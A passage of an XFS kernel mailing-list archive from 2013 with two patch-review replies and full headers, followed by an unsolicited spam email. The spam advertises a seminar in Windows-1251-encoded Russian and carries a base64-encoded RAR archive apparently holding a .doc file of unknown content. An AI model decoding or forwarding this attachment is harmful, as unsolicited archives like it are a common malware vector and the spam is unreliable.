relay3.corp.sgi.com (Postfix) with ESMTP id D6327AC003 for ; Mon, 2 Sep 2013 01:18:44 -0700 (PDT) X-ASG-Debug-ID: 1378109923-04bdf02f23d01ae0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id iACnK8MKkguene7B (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 02 Sep 2013 01:18:43 -0700 (PDT) X-Barracuda-Envelope-From: BATV+3be8aca3035e97e5ccf9+3662+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VGPLP-0002x5-NP; Mon, 02 Sep 2013 08:18:43 +0000 Date: Mon, 2 Sep 2013 01:18:43 -0700 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfs: fix endian warning in xlog_recover_get_buf_lsn() Message-ID: <20130902081843.GC11210@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 1/2] xfs: fix endian warning in xlog_recover_get_buf_lsn() References: <1378092179-24973-1-git-send-email-david@fromorbit.com> <1378092179-24973-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378092179-24973-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1378109923 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140104 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Mon, Sep 02, 2013 at 01:22:58PM +1000, Dave Chinner wrote: > From: Dave Chinner > > sparse reports: > > fs/xfs/xfs_log_recover.c:2017:24: sparse: cast to restricted __be64 > > Because I used the wrong structure for the on-disk superblock cast > in 50d5c8d ("xfs: check LSN ordering for v5 superblocks during > recovery"). Fix it. > > Reported-by: kbuild test robot > Signed-off-by: Dave Chinner Looks good, Reviewed-by: Christoph Hellwig From BATV+3be8aca3035e97e5ccf9+3662+infradead.org+hch@bombadil.srs.infradead.org Mon Sep 2 03:19:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 14F9A7F55 for ; Mon, 2 Sep 2013 03:19:57 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 94A95AC002 for ; Mon, 2 Sep 2013 01:19:56 -0700 (PDT) X-ASG-Debug-ID: 1378109995-04cb6c153dcd4270001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id r66SyCIzq5InhfqQ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 02 Sep 2013 01:19:55 -0700 (PDT) X-Barracuda-Envelope-From: BATV+3be8aca3035e97e5ccf9+3662+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VGPMY-0002xx-UZ; Mon, 02 Sep 2013 08:19:54 +0000 Date: Mon, 2 Sep 2013 01:19:54 -0700 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/2] xfs: fix some minor sparse warnings Message-ID: <20130902081954.GD11210@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 2/2] xfs: fix some minor sparse warnings References: <1378092179-24973-1-git-send-email-david@fromorbit.com> <1378092179-24973-3-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378092179-24973-3-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1378109995 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140106 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- > --- a/fs/xfs/xfs_dquot_item.c > +++ b/fs/xfs/xfs_dquot_item.c > @@ -143,6 +143,8 @@ STATIC uint > xfs_qm_dquot_logitem_push( > struct xfs_log_item *lip, > struct list_head *buffer_list) > + __releases(&lip->li_ailp->xa_lock) > + __acquires(&lip->li_ailp->xa_lock) > { Having these markers indented the same amount as the parameters isn't very readable. Maybe give them another tab level? Otherwise looks good: Reviewed-by: Christoph Hellwig From lark1981@boss.staszic.waw.pl Mon Sep 2 05:02:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1DC4D7F52 for ; Mon, 2 Sep 2013 05:02:41 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 85C8BAC003 for ; Mon, 2 Sep 2013 03:02:36 -0700 (PDT) X-ASG-Debug-ID: 1378116153-04cbb02c3ecd9030001-NocioJ Received: from mail.nptus.ru (mail.nptus.ru [94.125.244.12]) by cuda.sgi.com with ESMTP id r7u9KpOgqVtp7AGq for ; Mon, 02 Sep 2013 03:02:34 -0700 (PDT) X-Barracuda-Envelope-From: lark1981@boss.staszic.waw.pl X-Barracuda-Apparent-Source-IP: 94.125.244.12 Received: from [178.150.174.97] (helo=Unknown) by mail.nptus.ru with esmtpa (Exim 4.80.1 (FreeBSD)) (envelope-from ) id 1VGQxs-000OZE-Bk; Mon, 02 Sep 2013 16:02:32 +0600 Message-ID: <0BE9ED9FE8444C9EAEF60D415C812A75@hhyiw> Reply-To: =?windows-1251?B?6u7s6PLl8iDv7iDu9fDg7eUg7urw8+bg/vnl?= =?windows-1251?B?6SDx8OXk+w==?= From: =?windows-1251?B?6u7s6PLl8iDv7iDu9fDg7eUg7urw8+bg/vnl?= =?windows-1251?B?6SDx8OXk+w==?= To: , , , Subject: =?windows-1251?B?8uX17ej35fHq4P8g4eXn7u/g8e3u8fL8?= Date: Mon, 2 Sep 2013 12:01:32 +0200 X-ASG-Orig-Subj: =?windows-1251?B?8uX17ej35fHq4P8g4eXn7u/g8e3u8fL8?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_234D_01CEA7D4.2A927630" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 16.4.3505.912 X-MimeOLE: Produced By Microsoft MimeOLE V16.4.3505.912 X-Barracuda-Connect: mail.nptus.ru[94.125.244.12] X-Barracuda-Start-Time: 1378116154 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140111 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_234D_01CEA7D4.2A927630 Content-Type: multipart/alternative; boundary="----=_NextPart_001_234E_01CEA7D4.2A927630" ------=_NextPart_001_234E_01CEA7D4.2A927630 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable l6 =96 I7 =F1=E5=ED=F2., 2=CEl=C7 =E3., =F1=E5=EC=E8=ED=E0=F0: "=C1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=FC =EF=F0=E5=E4=EF=F0=E8=FF=F2=E8=FF -= =FD=EA=EE=ED=EE=EC=E8=F7=E5=F1=EA=E0=FF." =CA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=E8 =E8 =E7=E0=EF=E8=F1=FC =ED=E0 =EC=E5= =F0=EE=EF=F0=E8=FF=F2=E8=E5 =EF=EE =F2=E5=EB=E5=F4=EE=ED=F3 =EE=F0=E3=EA=EE= =EC=E8=F2=E5=F2=E0: 8 * =EA=EE=E4 =CF=E8=F2=E5=F0=E0 * 98 6 . 9=E7 - =D77 ------=_NextPart_001_234E_01CEA7D4.2A927630 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
l6 =96 I7 =F1=E5=ED=F2.,=20 2=CEl=C7 =E3., =F1=E5=EC=E8=ED=E0=F0:
 
"=C1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=FC =EF=F0=E5=E4=EF=F0=E8=FF=F2=E8= =FF - =FD=EA=EE=ED=EE=EC=E8=F7=E5=F1=EA=E0=FF."
 
=CA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=E8 =E8 =E7=E0=EF=E8=F1=FC =ED=E0 =EC= =E5=F0=EE=EF=F0=E8=FF=F2=E8=E5 =EF=EE =F2=E5=EB=E5=F4=EE=ED=F3=20 =EE=F0=E3=EA=EE=EC=E8=F2=E5=F2=E0:
8 * =EA=EE=E4 =CF=E8=F2=E5=F0= =E0 * 98 6 . 9=E7 - =D77
------=_NextPart_001_234E_01CEA7D4.2A927630-- ------=_NextPart_000_234D_01CEA7D4.2A927630 Content-Type: application/octet-stream; name="=?windows-1251?B?cHJpa3JlcGxlbmllILk0X18ucmFy?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?cHJpa3JlcGxlbmllILk0X18ucmFy?=" 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 